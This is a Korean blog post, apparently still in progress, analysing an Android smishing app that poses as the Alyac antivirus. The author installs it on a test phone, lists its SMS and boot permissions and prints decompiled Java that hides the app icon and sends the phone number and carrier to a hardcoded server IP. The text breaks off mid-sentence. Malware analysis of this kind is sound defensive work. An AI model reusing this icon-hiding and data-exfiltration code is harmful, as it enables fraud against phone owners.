안드로이드 스미싱앱 분석기. #1 <작성중>
짜증나는 월요일. 턱을 괴고 무념 무상으로 마우스 오른쪽 버튼을 딸깍딸깍 거리고 있는 지루한 월요일 오전에 간담을 서늘하게 만드는 문자가 한 통이 왔다.
그림1. 또 걸린거야?! ㅠㅠ
어라? 그런데, 링크 주소가 조금 수상했다. 무인단속장비에 적발 되었다는데 URL 은 유사 국민은행?
그림2. 고객님 당황하셨어요
여기서 그냥 넘어갈 수 없었다. 서늘했던 마음이 타오르면서 분노가 들끓었다. 그래서 직접 당해보기로 했다. 물론 테스트용 공기계로.
그림3. 뜬금없는 다운로드.
문자 메세지로 날아온 URL을 통하여 웹 브라우저로 접속하면, 난데없이 APK(앱 설치파일) 을 다운로드 받는다.
그림4. 스미싱앱의 요구 권한ㅡ , ㅡ
위에 표시된 권한 외에 핸드폰 시작시에 자동 시작되도록 하는 권한도 있다.
위 그림을 보면 딱 느낌이 오지 않는가? 휴대폰 상태 및 전화번호를 읽어서 사기꾼의 서버로 전송하고 그럼 그 전화번호를 이용하여 바로 핸드폰 문자 결제를 시도한다. 그럼 핸드폰으로 인증번호 문자가 도착하면 이 스미싱 앱은 인증번호를 읽어서 사기꾼의 서버로 전송한다. 그럼 결제 완료. 이 것들을 수행할 수 있는 권한이 위의 그림에 나와있는 권한에 모두 포함된 것이다. 앱을 설치할때, 반드시 권한을 확인하자!!
그림5. 기기 관리자 등록.
설치가 완료되면 위와 같이 기기 관리자 등록 여부를 묻는 창이 하나 실행된다. 여기서 실행을 누른다면...
그림6. 비활성화된 삭제 버튼.
자 이제 내 핸드폰에는 악성코드 앱이 깔린 것이다. 이렇게 당하는 것이다. ㅡ, ㅡ;; 만약 삭제 버튼을 다시 활성화 시키고 싶으면 설정의 보안의 기기관리자로 들어가서 해제를 시켜주면 된다. 이 악성 스미싱 앱은 랩이 그렇게 높지 않아서 순순히 기기 관리자 해제를 허용해주지만, 분명 더 악질적인 스미싱 앱들은 기기 관리자 해제를 시도조차 못 하게 막아서 삭제를 방지하도록 하는 앱도 있다.
자, 그럼 비록 저랩이지만 핸드폰 고지서에 0을 더 붙여주는 이 위험한 스미싱 앱을 직접 분석해 보겠다. 이제 처음이지만, 앞으로 악성 스미싱 앱을 다운 받을 수 있는 주소가 내 핸드폰의 문자 메세지로 날라올때 마다 직접 분석하여 블로그에 포스팅할 예정이다.
이 악성앱의 APK 파일을 압축 해제 툴을 이용하여 압축을 푼 다음에 classes.dex 파일을 dex2jar 를 이용하여 jar 로 바꿔줬다. 다행히도 이 녀석은 ProGuard와 같은 툴로 코드 난독화가 되어있지 않아서 일부 에러난 부분을 제외하고 문제없이 디컴파일 되었다.
우선 Manifest 파일을 살펴보면, 패키지명이 다음과 같이 되어있다.
패키지명이 korean.alyac.view ... ㅡ , ㅡ;; 설마 알약으로 위장하려는 것인가...
그 밖에 이 앱에 등록된 권한을 보면 굉장히 찜찜한 것들이 몇개 보인다.
READ_SMS : 앱이 SMS(문자 메세지) 를 읽을 수 있도록 허용한다.
RECEIVE_SMS : 앱이 SMS(문자 메세지) 를 모니터링(가로챌수 있다.) 한다.
WRITE_SETTINGS : 앱이 시스템 설정 값을 읽거나 바꿀 수 있다.
RECEIVE_BOOT_COMPLETED : 이 권한을 이용하면 디바이스 부팅이 완료되는 시점을 알 수 있다. 즉, 부팅이 끝나는 순간 악성 스미싱 앱 서비스를 실행할 수 있게 되는 것이다.
그 밖에 인터넷 권한이나 폰 상태를 읽을 수 있는 권한등 이 것만 봐도 이 앱이 무슨 목적을 갖고 만들어 졌는지 삼척동자도 추리할 수 있겠다.
우선 앱을 설치하자마자 가장 먼저 실행되는 MainActivity.java 파일을 열어보면 대략 다음과 같다.
public class MainActivity extends Activity { protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); // 앱의 아이콘을 숨기게 된다. getPackageManager().setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); // 중략... new Util(this).doRegisterUser(); startService(new Intent(this, PreodicService.class)); startActivity(new Intent(this, RegDPMActivity.class)); finish(); } }
아이콘을 감추도록 하는 부분이 가장 먼저 눈에 들어온다. 그리고 doRegisterUser() 라는 메소드가 눈에 들어오는데 이 녀석은 바로...
public String doRegisterUser() { String str1 = getPhoneNumber(); String str2 = getTelCompany(); if (str1.equals("")) return ""; return HttpUtils.requestData2(HttpUtils.URL + "index.php?type=join&telnum=" + str1 + "&telcompany=" + str2); }
이렇게 되시겠다.
핸드폰 번호와 통신사 정보를 빼돌려서 바로 서버로 전송한다. HttpUtils 의 URL은 http://126.11.248.159/ 로 정의되어 있는데, 이 주소의 위치는 다음과 같다.
그림8. 일본!?
예상과 다르게 중국이 아니었다.
어쨌든 첫 번째 단계는 아래와 같은 주소로 휴대폰 번호와 통신사 정보를 보내주게 된다.
http://126.11.248.159/index.php?type=join&telnum=000-0000-0000&telcompany=skt
그럼 아마도 결제 관련 문자 메세지가 날라올 것이다.
차마 내 핸드폰으로 실험은 못 하겠다. ㅡ , ㅡ
그럼 SMSBroadcastReceiver.java 라는 파일에서